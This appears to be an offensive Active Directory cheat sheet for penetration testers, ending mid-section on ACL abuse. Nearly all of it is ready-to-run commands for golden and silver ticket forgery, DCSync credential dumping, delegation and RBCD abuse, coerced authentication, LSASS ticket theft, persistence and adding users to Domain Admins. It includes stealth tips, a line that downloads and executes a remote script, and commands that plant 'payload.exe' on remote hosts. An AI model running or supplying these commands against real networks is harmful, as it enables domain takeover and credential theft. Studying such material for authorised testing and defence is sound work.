Active Directory Exploitation
#Environment Setup
## Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100" # Primary target IP
export TARGET_NETWORK="10.10.10.0/24" # Target network CIDR
export DC_IP="10.10.10.1" # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5" # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443" # Your listener port
export DOMAIN="corp.local" # Target domain name
Advanced AD Attacks
#Golden Ticket Attack
## === CONCEPT ===
# Forge TGT using krbtgt account hash
# Grants access to any resource in domain
# Valid until krbtgt password changed (typically never)
# Persists across password changes of impersonated user
# === REQUIREMENTS ===
# 1. krbtgt NTLM hash or AES key
# 2. Domain SID
# 3. Domain name
# === OBTAINING KRBTGT HASH ===
# DCSync (requires Domain Admin)
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-user krbtgt
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds --user krbtgt
# Mimikatz DCSync
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# From NTDS.dit dump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL | grep krbtgt
# === OBTAINING DOMAIN SID ===
# Windows
whoami /user
# Remove RID (last segment) from output
# PowerShell
Get-ADDomain | Select-Object DomainSID
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
# PowerView
Get-DomainSID
# Linux
lookupsid.py corp.local/jsmith:'Welcome123!'@DC_IP | grep "Domain SID"
rpcclient -U "jsmith%Welcome123!" DC_IP -c "lsa"
# NetExec
nxc smb DC_IP -u jsmith -p 'Welcome123!' --users | head -1
# === MIMIKATZ GOLDEN TICKET ===
# Basic Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:NTLM_HASH /id:500 /ptt
# With specific groups (RID 519 = Enterprise Admins, 512 = Domain Admins)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /groups:512,519 /ptt
# With AES key (more stealthy, no RC4 downgrade logged)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /aes256:AES256_KEY /id:500 /ptt
# Custom validity period
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# Save ticket to file
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /ticket:golden.kirbi
# Create for specific service (more targeted)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /service:cifs /target:dc01.corp.local /ptt
# Inject ticket into current session
kerberos::ptt golden.kirbi
# === IMPACKET GOLDEN TICKET ===
# Create golden ticket with ticketer.py
ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXX -domain corp.local Administrator
# With AES key
ticketer.py -aesKey AES256_KEY -domain-sid S-1-5-21-XXX -domain corp.local Administrator
# Specify User ID and groups
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain corp.local -user-id 500 -groups 512,519 Administrator
# Custom expiration
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain corp.local -duration 365 Administrator
# Save to specific file
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain corp.local Administrator -o golden_ticket.ccache
# Use golden ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# === RUBEUS GOLDEN TICKET ===
# Create golden ticket
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /id:500 /ptt
# With AES256
.\Rubeus.exe golden /aes256:AES256_KEY /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /id:500 /ptt
# Create ticket without injecting (save to file)
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /id:500 /outfile:golden.kirbi
# Specify specific groups
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /id:500 /groups:512,519 /ptt
# Custom ticket lifetime
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /id:500 /startoffset:-10 /endin:600 /renewmax:10080 /ptt
# === USING GOLDEN TICKET ===
# Verify ticket loaded
klist
# Access domain resources
dir \\dc01.corp.local\C$
net view \\dc01.corp.local
Enter-PSSession -ComputerName dc01.corp.local
# DCSync with golden ticket
.\mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit"
# === INTER-REALM GOLDEN TICKET (FOREST) ===
# Create golden ticket for child domain with Enterprise Admin rights
kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-CHILD-SID /krbtgt:CHILD_KRBTGT_HASH /sids:S-1-5-21-ROOT-SID-519 /ptt
# S-1-5-21-ROOT-SID-519 = Enterprise Admins SID from root domain
Silver Ticket Attack
## === CONCEPT ===
# Forge TGS (service ticket) using service account hash
# Limited to specific service on specific host
# Does not require contacting DC (stealthier)
# Useful when you have service account hash but not krbtgt
# === REQUIREMENTS ===
# 1. Service account NTLM hash or AES key
# 2. Domain SID
# 3. Target service SPN
# 4. Target hostname
# === COMMON SERVICE SPNS ===
# CIFS - File shares (\\server\share)
# HOST - Scheduled tasks, WMI, PowerShell remoting
# HTTP - Web services, WinRM
# LDAP - LDAP queries
# MSSQL - SQL Server
# RPCSS - RPC services
# WSMAN - PowerShell remoting
# === OBTAINING SERVICE ACCOUNT HASH ===
# Kerberoast the service account
GetUserSPNs.py corp.local/jsmith:'Welcome123!' -dc-ip DC_IP -request -outputfile hashes.txt
.\Rubeus.exe kerberoast /user:svc_sql /format:hashcat
# Crack the hash
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# Or if you have admin on host running the service
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
# Computer account hash (for CIFS/HOST services)
secretsdump.py corp.local/Administrator:'Welcome123!'@target.corp.local | grep "target\$"
# === MIMIKATZ SILVER TICKET ===
# CIFS service (file shares)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:fileserver.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
# HOST service (scheduled tasks, WMI)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:target.corp.local /service:host /rc4:SERVICE_HASH /ptt
# HTTP service (web apps)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:web.corp.local /service:http /rc4:SERVICE_HASH /ptt
# MSSQL service
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:sql01.corp.local /service:mssqlsvc /rc4:SERVICE_HASH /ptt
# LDAP service
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:dc01.corp.local /service:ldap /rc4:SERVICE_HASH /ptt
# With AES key (more stealthy)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:target.corp.local /service:cifs /aes256:AES_KEY /ptt
# Multiple services (CIFS + HTTP)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:server.corp.local /service:cifs /rc4:HASH /ptt
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:server.corp.local /service:http /rc4:HASH /ptt
# === IMPACKET SILVER TICKET ===
# Create silver ticket
ticketer.py -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXX -domain corp.local -spn cifs/fileserver.corp.local Administrator
# Multiple SPNs
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-XXX -domain corp.local -spn cifs/fileserver.corp.local -spn http/fileserver.corp.local Administrator
# Use silver ticket
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@fileserver.corp.local
# === RUBEUS SILVER TICKET ===
# Create CIFS silver ticket
.\Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs /target:fileserver.corp.local /ptt
# Create HOST silver ticket
.\Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:host /target:target.corp.local /ptt
# With AES256
.\Rubeus.exe silver /aes256:AES_KEY /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs /target:fileserver.corp.local /ptt
# Multiple services
.\Rubeus.exe silver /rc4:HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs,http /target:server.corp.local /ptt
# === USING SILVER TICKET ===
# Verify ticket
klist
# CIFS access
dir \\fileserver.corp.local\C$
copy payload.exe \\fileserver.corp.local\C$\Windows\Temp\
# WMI with HOST service
wmic /node:target.corp.local process call create "cmd.exe /c whoami"
# Scheduled task with HOST service
schtasks /create /tn "Update" /tr "C:\Temp\payload.exe" /sc once /st 00:00 /S target.corp.local
# PowerShell remoting with HTTP/WSMAN
Enter-PSSession -ComputerName target.corp.local
# === SILVER TICKET FOR COMPUTER ACCOUNTS ===
# Computer accounts can be silver ticketed using their hash
# Useful for HOST and CIFS services
# Get computer account hash
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP | grep 'SERVER01\$'
# Create silver ticket with computer account hash
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:server01.corp.local /service:cifs /rc4:COMPUTER_ACCOUNT_HASH /ptt
Constrained Delegation Abuse
## === CONCEPT ===
# Service account configured to delegate on behalf of users
# Two types:
# - Constrained delegation (Kerberos only)
# - Constrained delegation with protocol transition (any auth → Kerberos)
# Allows requesting service tickets for any user to allowed services
# === FINDING CONSTRAINED DELEGATION ===
# PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Specific attributes
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto
# Check for protocol transition (T2A4D)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,useraccountcontrol
# useraccountcontrol with TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (16777216)
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(msDS-AllowedToDelegateTo=*))" sAMAccountName msDS-AllowedToDelegateTo
# Find computers with constrained delegation
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(msDS-AllowedToDelegateTo=*))" dNSHostName msDS-AllowedToDelegateTo
# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M find-delegation
# Impacket
findDelegation.py corp.local/jsmith:'Welcome123!' -dc-ip DC_IP
# BloodHound Cypher
MATCH (u:User {trustedtoauth:true}) RETURN u
MATCH (c:Computer {trustedtoauth:true}) RETURN c
# === REQUIREMENTS FOR EXPLOITATION ===
# 1. Service account credentials (or hash)
# 2. Target service from msDS-AllowedToDelegateTo
# 3. User to impersonate (typically Administrator)
# === IMPACKET S4U ATTACK ===
# S4U2Self + S4U2Proxy (request ticket to allowed service)
getST.py -spn cifs/target.corp.local corp.local/svc_account:'Password123!' -impersonate Administrator -dc-ip DC_IP
# With NTLM hash
getST.py -spn cifs/target.corp.local corp.local/svc_account -hashes :NTLM_HASH -impersonate Administrator -dc-ip DC_IP
# With AES key
getST.py -spn cifs/target.corp.local corp.local/svc_account -aesKey AES_KEY -impersonate Administrator -dc-ip DC_IP
# Request for different service (alternate SPN)
getST.py -spn cifs/target.corp.local -altservice http corp.local/svc_account:'Password123!' -impersonate Administrator -dc-ip DC_IP
# Save ticket
getST.py -spn cifs/target.corp.local corp.local/svc_account:'Password123!' -impersonate Administrator -dc-ip DC_IP
# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local
# === RUBEUS S4U ATTACK ===
# Basic S4U attack
.\Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt
# With AES key
.\Rubeus.exe s4u /user:svc_account /aes256:AES_KEY /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt
# Request multiple service tickets
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /altservice:http,host /ptt
# Specify domain
.\Rubeus.exe s4u /user:svc_account /domain:corp.local /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /dc:dc01.corp.local /ptt
# Save ticket to file
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /outfile:admin_ticket.kirbi
# Use existing TGT
.\Rubeus.exe s4u /ticket:BASE64_TGT /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt
# === PROTOCOL TRANSITION (T2A4D) ===
# If account has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
# Can perform S4U2Self with any authentication method
# Impacket with protocol transition
getST.py -spn cifs/target.corp.local corp.local/svc_account:'Password123!' -impersonate Administrator -dc-ip DC_IP
# Rubeus with protocol transition
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt
# === ALTERNATE SERVICE NAMES ===
# Once you have ticket to one service, request others
# Example: Have CIFS, want LDAP/HTTP/HOST
# Impacket alternate service
getST.py -spn cifs/target.corp.local -altservice ldap,http,host corp.local/svc_account:'Password123!' -impersonate Administrator -dc-ip DC_IP
# Rubeus alternate service
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /altservice:ldap,http,host /ptt
# === EXPLOITATION EXAMPLES ===
# Access file shares
dir \\target.corp.local\C$
# DCSync (if LDAP service available)
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# WMI execution (if HOST service)
wmic /node:target.corp.local process call create "cmd.exe"
# PowerShell remoting (if HTTP service)
Enter-PSSession -ComputerName target.corp.local
# === COMPUTER ACCOUNT CONSTRAINED DELEGATION ===
# If computer account has constrained delegation
# Need to compromise the computer first to get its hash
# Get computer account hash
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
# Look for COMPUTER$ account
# Perform S4U attack with computer account
getST.py -spn cifs/target.corp.local 'corp.local/COMPUTER$' -hashes :COMPUTER_HASH -impersonate Administrator -dc-ip DC_IP
Unconstrained Delegation Abuse
## === CONCEPT ===
# Computer/service account trusted for delegation to ANY service
# When user authenticates to server with unconstrained delegation:
# - User's TGT is sent and cached on the server
# - Attacker with admin on server can extract and reuse TGT
# Essentially credential theft at scale
# === FINDING UNCONSTRAINED DELEGATION ===
# PowerView
Get-DomainComputer -Unconstrained
Get-DomainComputer -Unconstrained | Select-Object name,dnshostname
# Exclude domain controllers (they always have unconstrained delegation)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}
# Check specific computer
Get-DomainComputer -Identity WEB01 -Properties useraccountcontrol
# useraccountcontrol & TRUSTED_FOR_DELEGATION (524288)
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName
# Exclude DCs
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))" dNSHostName
# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M find-delegation
# Impacket
findDelegation.py corp.local/jsmith:'Welcome123!' -dc-ip DC_IP
# BloodHound Cypher
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS "DC" RETURN c
MATCH (c:Computer {unconstraineddelegation:true})-[:MemberOf*1..]->(g:Group) RETURN c,g
# === REQUIREMENTS FOR EXPLOITATION ===
# 1. Local admin on server with unconstrained delegation
# 2. Wait for target user to authenticate
# 3. Extract TGT from LSASS
# === MONITORING FOR TICKETS (RUBEUS) ===
# Monitor for new TGTs every 5 seconds
.\Rubeus.exe monitor /interval:5
# Filter for specific user
.\Rubeus.exe monitor /interval:5 /filteruser:Administrator
# Monitor and auto-harvest
.\Rubeus.exe harvest /interval:30
# Continuous monitoring with output
.\Rubeus.exe monitor /interval:10 /filteruser:Administrator /outfile:C:\Temp\tickets.txt
# === FORCING AUTHENTICATION ===
# Use SpoolSample (PrinterBug) to force DC authentication
# On attacker machine with Rubeus monitoring
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Force DC to authenticate to unconstrained delegation server
.\SpoolSample.exe DC01.corp.local WEB01.corp.local
# PetitPotam (alternative to SpoolSample)
python3 PetitPotam.py -u jsmith -p 'Welcome123!' WEB01.corp.local DC01.corp.local
# Coercer (multiple protocols)
python3 coercer.py -u jsmith -p 'Welcome123!' -t DC01.corp.local -l WEB01.corp.local
# DFSCoerce
python3 dfscoerce.py -u jsmith -p 'Welcome123!' -d corp.local WEB01.corp.local DC01.corp.local
# === EXTRACTING TICKETS (MIMIKATZ) ===
# Export all tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# List cached tickets
.\mimikatz.exe "sekurlsa::tickets" "exit"
# Extract specific user's ticket
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Look for [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi
# === EXTRACTING TICKETS (RUBEUS) ===
# Dump all tickets from LSASS
.\Rubeus.exe dump
# Dump TGTs only
.\Rubeus.exe dump /service:krbtgt
# Dump tickets from all logon sessions (requires admin)
.\Rubeus.exe triage
# Dump specific logon session
.\Rubeus.exe dump /luid:0x3e7
# Dump tickets in base64 (single line, easy to transfer)
.\Rubeus.exe dump /service:krbtgt /nowrap
# === USING STOLEN TGT (WINDOWS) ===
# Import ticket with Rubeus
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Import ticket with Mimikatz
.\mimikatz.exe "kerberos::ptt [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi" "exit"
# Verify ticket loaded
klist
# Use ticket to access resources
dir \\DC01.corp.local\C$
Enter-PSSession -ComputerName DC01.corp.local
# === USING STOLEN TGT (LINUX) ===
# Convert kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Set ccache
export KRB5CCNAME=ticket.ccache
# Use ticket
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/DC01$@DC01.corp.local
# === PRINTER BUG ATTACK (COMPLETE WORKFLOW) ===
# Step 1: Monitor on unconstrained delegation server
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
# Step 2: Force DC authentication (from separate window/machine)
.\SpoolSample.exe DC01.corp.local WEB01.corp.local
# Step 3: Rubeus will capture DC01$ TGT
# Copy base64 ticket from output
# Step 4: Import ticket
.\Rubeus.exe ptt /ticket:doIFuj...
# Step 5: DCSync
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# === KEKEO (ALTERNATIVE TOOL) ===
# Monitor tickets
tgt::ask /user:DC01$ /domain:corp.local /rc4:HASH
# === LINUX PRINTER BUG WORKFLOW ===
# Step 1: Start monitoring with krbrelayx
sudo krbrelayx.py -t ldap://DC01.corp.local
# Step 2: Trigger authentication
python3 printerbug.py corp.local/jsmith:'Welcome123!'@DC01.corp.local WEB01.corp.local
# Step 3: krbrelayx will relay authentication and perform DCSync
# === PERSISTENCE WITH UNCONSTRAINED DELEGATION ===
# If you have admin rights, configure unconstrained delegation
# PowerView
Set-DomainObject -Identity WEB01 -Set @{useraccountcontrol=4096+524288}
# Verify
Get-DomainComputer -Identity WEB01 -Properties useraccountcontrol
Resource-Based Constrained Delegation (RBCD)
## === CONCEPT ===
# Backwards constrained delegation (S4U2Self + S4U2Proxy)
# Controlled by target object, not delegating object
# msDS-AllowedToActOnBehalfOfOtherIdentity attribute on target
# Attacker can configure if they have WriteProperty/GenericAll/GenericWrite on target
# === REQUIREMENTS ===
# 1. WriteProperty/GenericAll/GenericWrite on target computer
# 2. Ability to create computer account (or control existing one)
# 3. Target computer must be running Windows Server 2012+
# === FINDING RBCD TARGETS ===
# PowerView - Find computers where we have write permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" -and $_.SecurityIdentifier -match "S-1-5-21-.*-[1-9]\d{3,}"}
# Find computers where specific user has permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid -and $_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite"}
# Find computers with existing RBCD configuration
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "AllowedToActOnBehalfOfOtherIdentity"}
# Check specific computer
Get-DomainComputer -Identity TARGET01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" dNSHostName msDS-AllowedToActOnBehalfOfOtherIdentity
# BloodHound Cypher
MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(c:Computer) RETURN u,c
# === CHECK MACHINE ACCOUNT QUOTA ===
# PowerView
Get-DomainObject -Identity "DC=corp,DC=local" -Domain corp.local | Select-Object ms-DS-MachineAccountQuota
# LDAP
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota
# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M maq
# Default is 10 - allows domain users to create 10 computer accounts
# === CREATING COMPUTER ACCOUNT ===
# Powermad
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
# Create computer account
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
# Verify creation
Get-DomainComputer -Identity FAKE01
# Get computer account SID
Get-DomainComputer -Identity FAKE01 -Properties objectsid
# Impacket addcomputer
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd123!' -dc-ip DC_IP corp.local/jsmith:'Welcome123!'
# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M add-computer -o NAME=FAKE01 PASSWORD=P@ssw0rd123!
# === CONFIGURING RBCD ===
# PowerView/PowerMad - Set msDS-AllowedToActOnBehalfOfOtherIdentity
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select-Object -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Verify configuration
Get-DomainComputer TARGET01 -Properties msds-allowedtoactonbehalfofotheridentity
# Impacket rbcd.py
rbcd.py -delegate-from 'FAKE01$' -delegate-to 'TARGET01$' -action 'write' -dc-ip DC_IP 'corp.local'/'jsmith':'Welcome123!'
# Verify
rbcd.py -delegate-to 'TARGET01$' -action 'read' -dc-ip DC_IP 'corp.local'/'jsmith':'Welcome123!'
# === PERFORMING S4U ATTACK ===
# Impacket getST (S4U2Self + S4U2Proxy)
getST.py -spn cifs/target01.corp.local -impersonate Administrator -dc-ip DC_IP 'corp.local/FAKE01$:P@ssw0rd123!'
# Request multiple service tickets
getST.py -spn cifs/target01.corp.local -impersonate Administrator -altservice http,host,ldap -dc-ip DC_IP 'corp.local/FAKE01$:P@ssw0rd123!'
# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target01.corp.local
# Rubeus S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:FAKE01_NTLM_HASH /impersonateuser:Administrator /msdsspn:cifs/target01.corp.local /altservice:http,host,ldap /ptt
# Get NTLM hash of FAKE01$ password
.\Rubeus.exe hash /password:P@ssw0rd123! /user:FAKE01$ /domain:corp.local
# === COMPLETE RBCD ATTACK WORKFLOW ===
# Step 1: Check MAQ (Machine Account Quota)
Get-DomainObject -Identity "DC=corp,DC=local" | Select-Object ms-DS-MachineAccountQuota
# Step 2: Find target with write permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite"}
# Step 3: Create computer account
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
# Step 4: Configure RBCD on target
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select-Object -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Step 5: Perform S4U attack
.\Rubeus.exe hash /password:P@ssw0rd123! /user:FAKE01$ /domain:corp.local
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target01.corp.local /altservice:http,host /ptt
# Step 6: Access target
Enter-PSSession -ComputerName target01.corp.local
# === CLEANUP ===
# Remove RBCD configuration
Get-DomainComputer TARGET01 | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentity
# Delete computer account
Remove-ADComputer -Identity FAKE01 -Confirm:$false
# Impacket cleanup
rbcd.py -delegate-from 'FAKE01$' -delegate-to 'TARGET01$' -action 'remove' -dc-ip DC_IP 'corp.local'/'jsmith':'Welcome123!'
addcomputer.py -computer-name 'FAKE01$' -delete -dc-ip DC_IP corp.local/jsmith:'Welcome123!'
# === RBCD WITH EXISTING COMPUTER ACCOUNT ===
# If you compromise a computer account (not create new one)
# Example: You have local admin on WORKSTATION01
# Extract computer account hash
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Look for WORKSTATION01$ NTLM hash
# Configure RBCD using compromised computer
$ComputerSid = Get-DomainComputer WORKSTATION01 -Properties objectsid | Select-Object -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Perform S4U with compromised computer account
.\Rubeus.exe s4u /user:WORKSTATION01$ /rc4:COMPUTER_HASH /impersonateuser:Administrator /msdsspn:cifs/target01.corp.local /ptt
ACL Abuse
## === CONCEPT ===
# Active Directory objects protected by Access Control Lists
# Misconfigured ACLs allow privilege escalation
# Common abusable permissions:
# - GenericAll (full control)
# - WriteProperty (modify attributes)
# - WriteDacl (modify permissions)
# - WriteOwner (take ownership)
# - ForceChangePassword
# - AddMember (add to group)
# === FINDING INTERESTING ACLs ===
# PowerView - Find ACLs for current user
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "$(whoami /user)"}
# Find ACLs for specific user
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "jsmith"}
# Find dangerous ACLs
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteProperty|WriteDacl|WriteOwner"}
# Find ACLs on high-value targets
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.ObjectDN -match "Domain Admins|Enterprise Admins|Administrators"}
# Check specific object ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteProperty|WriteDacl"}
# LDAP-based ACL enumeration (complex, use tools)
# BloodHound (best for ACL analysis)
MATCH p=shortestPath((u:User)-[r:MemberOf|AdminTo|HasSession|Owns|WriteDacl|WriteOwner|GenericAll|GenericWrite|WriteProperty|ForceChangePassword|AddMember*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
# Find users with DCSync rights
MATCH (u)-[:DCSync]->(d:Domain) RETURN u
# === GENERIC ALL EXPLOITATION ===
# GenericAll on User - Reset password
$SecPassword = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $SecPassword
# GenericAll on User - Add SPN (Kerberoast)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fake'}
.\Rubeus.exe kerberoast /user:target_user
# GenericAll on Group - Add member
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith
# Verify membership
Get-DomainGroupMember -Identity "Domain Admins"
# GenericAll on Computer - RBCD attack
